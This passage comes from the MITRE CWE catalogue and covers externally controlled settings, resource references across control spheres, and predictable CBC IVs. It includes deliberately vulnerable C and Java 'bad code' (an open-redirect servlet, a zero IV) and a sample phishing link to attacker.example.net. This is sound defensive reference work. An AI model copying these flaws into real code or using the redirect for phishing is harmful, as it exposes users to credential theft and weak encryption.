+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 134 Use of Externally-Controlled Format String
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 426 Untrusted Search Path
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 427 Uncontrolled Search Path Element
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 428 Unquoted Search Path or Element
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 552 Files or Directories Accessible to External Parties
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1403 Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reasons Frequent Misuse, Abstraction

Rationale

CWE-668 is high-level and is often misused as a catch-all when lower-level CWE IDs might be applicable. It is sometimes used for low-information vulnerability reports [REF-1287]. It is a level-1 Class (i.e., a child of a Pillar). It is not useful for trend analysis.

Comments

Closely analyze the specific mistake that is allowing the resource to be exposed, and perform a CWE mapping for that mistake.
+ Notes

Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.
+ References
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28.
<https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>. (URL validated: 2024-11-17)
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-04-11
(CWE Draft 9, 2008-04-11) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Common_Consequences, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated References
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2019-01-03 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships, Relevant_Properties
2017-01-19 CWE Content Team MITRE
updated Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2014-06-23 CWE Content Team MITRE
updated Relationships
2013-07-17 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Relationships
2010-09-27 CWE Content Team MITRE
updated Relationships
2009-12-28 CWE Content Team MITRE
updated Relationships
2009-10-29 CWE Content Team MITRE
updated Other_Notes, Theoretical_Notes
2009-07-27 CWE Content Team MITRE
updated Description, Relationships
2009-07-22 CWE Content Team MITRE
Clarified description to include permissions.
2009-05-27 CWE Content Team MITRE
updated Relationships
2008-11-24 CWE Content Team MITRE
updated Relationships
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE-15: External Control of System or Configuration Setting

Weakness ID: 15
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
One or more system settings or configuration elements can be externally controlled by a user.
+ Extended Description
Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Varies by Context

Scope: Other

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Implementation; Architecture and Design
Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.

Implementation; Architecture and Design
In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of the attacker.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 610 Externally Controlled Reference to a Resource in Another Sphere
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 642 External Control of Critical State Data
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 371 State Issues
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Relevant to the view "Seven Pernicious Kingdoms" (View-700)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 20 Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation Setting manipulation vulnerabilities occur when an attacker can control values that govern the behavior of the system, manage specific resources, or in some way affect the functionality of the application.
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following C code accepts a number as one of its command line parameters and sets it as the host ID of the current machine.

(bad code)
Example Language: C 
...
sethostid(argv[1]);
...

Although a process must be privileged to successfully invoke sethostid(), unprivileged users may be able to invoke the program. The code in this example allows user input to directly control the value of a system setting. If an attacker provides a malicious value for host ID, the attacker can misidentify the affected machine on the network or cause other unintended behavior.



Example 2


The following Java code snippet reads a string from an HttpServletRequest and sets it as the active catalog for a database Connection.

(bad code)
Example Language: Java 
...
conn.setCatalog(request.getParameter("catalog"));
...

In this example, an attacker could cause an error by providing a nonexistent catalog name or connect to an unauthorized portion of the database.



+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 994 SFP Secondary Cluster: Tainted Input to Variable
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1349 OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1403 Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Setting Manipulation
Software Fault Patterns SFP25 Tainted input to variable
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Related_Attack_Patterns, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Potential_Mitigations
2020-02-24 CWE Content Team MITRE
updated References, Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships
2017-01-19 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2013-02-21 CWE Content Team MITRE
updated Potential_Mitigations
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Common_Consequences
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2009-10-29 CWE Content Team MITRE
updated Modes_of_Introduction, Other_Notes
2009-05-27 CWE Content Team MITRE
updated Demonstrative_Examples
2009-01-12 CWE Content Team MITRE
updated Relationships
2008-10-14 CWE Content Team MITRE
updated Description
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Setting Manipulation
Back to top

CWE-610: Externally Controlled Reference to a Resource in Another Sphere

Weakness ID: 610
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
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+ Description
The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data; Modify Application Data

Scope: Confidentiality, Integrity

An adversary could read or modify data, depending on how the resource is intended to be used.

Gain Privileges or Assume Identity

Scope: Access Control

Likelihood: High

An adversary that can supply a reference to an unintended resource can potentially access a resource that they do not have privileges for, thus bypassing existing access control mechanisms.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 664 Improper Control of a Resource Through its Lifetime
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 15 External Control of System or Configuration Setting
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 73 External Control of File Name or Path
ParentOf Composite Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. 384 Session Fixation
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 441 Unintended Proxy or Intermediary ('Confused Deputy')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 601 URL Redirection to Untrusted Site ('Open Redirect')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 611 Improper Restriction of XML External Entity Reference
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 386 Symbolic Name not Mapping to Correct Object
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Composite Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. 384 Session Fixation
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 601 URL Redirection to Untrusted Site ('Open Redirect')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 611 Improper Restriction of XML External Entity Reference
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 918 Server-Side Request Forgery (SSRF)
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1021 Improper Restriction of Rendered UI Layers or Frames
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1015 Limit Access
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Demonstrative Examples

Example 1


The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

(bad code)
Example Language: Java 
public class RedirectServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String query = request.getQueryString();
if (query.contains("url")) {
String url = request.getParameter("url");
response.sendRedirect(url);
}
}
}

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of an e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

(attack code)
Example Language: HTML 
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
An email client does not block loading of remote objects in a nested document.
Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
Cryptography API uses unsafe reflection when deserializing a private key
Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601)
Recruiter software allows reading arbitrary files using XXE
Database system allows attackers to bypass sandbox restrictions by using the Reflection API.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 980 SFP Secondary Cluster: Link in Resource Name Resolution
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1347 OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1416 Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reason Abstraction

Rationale

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name; in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.
+ Content History
+ Submissions
Submission Date Submitter Organization
2007-05-07
(CWE Draft 6, 2007-05-07) 		Anonymous Tool Vendor (under NDA)
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Common_Consequences
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples, Mapping_Notes
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings
2017-01-19 CWE Content Team MITRE
updated Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Maintenance_Notes
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2009-10-29 CWE Content Team MITRE
updated Other_Notes, Relationship_Notes
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Externally Controlled Reference to an Internal Resource
Back to top

CWE-329: Generation of Predictable IV with CBC Mode

Weakness ID: 329
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product generates and uses a predictable initialization Vector (IV) with Cipher Block Chaining (CBC) Mode, which causes algorithms to be susceptible to dictionary attacks when they are encrypted under the same key.
+ Extended Description

CBC mode eliminates a weakness of Electronic Code Book (ECB) mode by allowing identical plaintext blocks to be encrypted to different ciphertext blocks. This is possible by the XOR-ing of an IV with the initial plaintext block so that every plaintext block in the chain is XOR'd with a different value before encryption. If IVs are reused, then identical plaintexts would be encrypted to identical ciphertexts. However, even if IVs are not identical but are predictable, then they still break the security of CBC mode against Chosen Plaintext Attacks (CPA).

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

If the IV is not properly initialized, data that is encrypted can be compromised and leak information.
+ Potential Mitigations
Phase(s) Mitigation

Implementation
NIST recommends two methods of generating unpredictable IVs for CBC mode [REF-1172]. The first is to generate the IV randomly. The second method is to encrypt a nonce with the same key and cipher to be used to encrypt the plaintext. In this case the nonce must be unique but can be predictable, since the block cipher will act as a pseudo random permutation.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 573 Improper Following of Specification by Caller
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1204 Generation of Weak Initialization Vector (IV)
+ Background Details

CBC mode is a commonly used mode of operation for a block cipher. It works by XOR-ing an IV with the initial block of a plaintext prior to encryption and then XOR-ing each successive block of plaintext with the previous block of ciphertext before encryption.

C_0 = IV
C_i = E_k{M_i XOR C_{i-1}}

When used properly, CBC mode provides security against chosen plaintext attacks. Having an unpredictable IV is a crucial underpinning of this. See [REF-1171].

+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation Developers might dismiss the importance of an unpredictable IV and choose an easier implementation to save effort, weakening the scheme in the process.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1


In the following examples, CBC mode is used when encrypting data:

(bad code)
Example Language: C 
EVP_CIPHER_CTX ctx;
char key[EVP_MAX_KEY_LENGTH];
char iv[EVP_MAX_IV_LENGTH];
RAND_bytes(key, b);
memset(iv,0,EVP_MAX_IV_LENGTH);
EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
(bad code)
Example Language: Java 
public class SymmetricCipherTest {
public static void main() {

byte[] text ="Secret".getBytes();
byte[] iv ={
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
KeyGenerator kg = KeyGenerator.getInstance("DES");
kg.init(56);
SecretKey key = kg.generateKey();
Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
IvParameterSpec ips = new IvParameterSpec(iv);
